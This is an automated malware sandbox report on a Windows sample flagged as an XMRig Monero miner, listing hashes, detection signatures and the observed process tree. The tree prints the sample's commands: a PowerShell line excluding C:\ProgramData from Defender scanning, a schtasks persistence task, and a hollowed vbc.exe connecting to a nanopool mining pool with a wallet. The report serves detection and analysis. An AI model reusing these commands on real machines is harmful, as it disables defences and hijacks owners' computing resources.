Analysis
- max time kernel
117s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
09/01/2023, 19:38
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20221111-en
11 signatures
150 seconds
General
- Target file.exe
- Size 913KB
- Sample230109-ycdbqafd89
- SHA256 c7fedf16eea08eb350ea4c3176d125a01ddaf221552efd1c531315954c3b7d8e
- MD5 485947e0731e5eec60dfaa550b0f15bb
- SHA1 2dbe05280a43f1d56f94aa03210d67d590196209
- SHA512 2cb1d342800665c1c7d512cba9c6098253cb3ce5b11cb25957fddf5586397cff9a54447bd7f92c80ca93615550485dbfcd11c7fd8f41a302d64c795f443d2553
- SSDEEP 24576:H25x8gvng/hoL4q2+8txoeKPN36KLoEahOMLA+M:HY1vng/hvTmXPNfVahR
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- XMRig Miner payload 6 IoCs
resource yara_rule behavioral2/memory/2424-158-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/2424-159-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/2424-160-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/2424-161-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/2424-163-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/2424-167-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation file.exe - Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2276 set thread context of 2424 2276 file.exe 92 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4680 schtasks.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4128 powershell.exe 4128 powershell.exe 2276 file.exe 2276 file.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 648 Process not Found - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2276 file.exe Token: SeDebugPrivilege 4128 powershell.exe Token: SeLockMemoryPrivilege 2424 vbc.exe Token: SeLockMemoryPrivilege 2424 vbc.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2424 vbc.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2276 wrote to memory of 4128 2276 file.exe 81 PID 2276 wrote to memory of 4128 2276 file.exe 81 PID 2276 wrote to memory of 3116 2276 file.exe 89 PID 2276 wrote to memory of 3116 2276 file.exe 89 PID 3116 wrote to memory of 4680 3116 cmd.exe 91 PID 3116 wrote to memory of 4680 3116 cmd.exe 91 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92 PID 2276 wrote to memory of 2424 2276 file.exe 92
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2276 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3116 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"3⤵
- Creates scheduled task(s)
PID:4680
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2424
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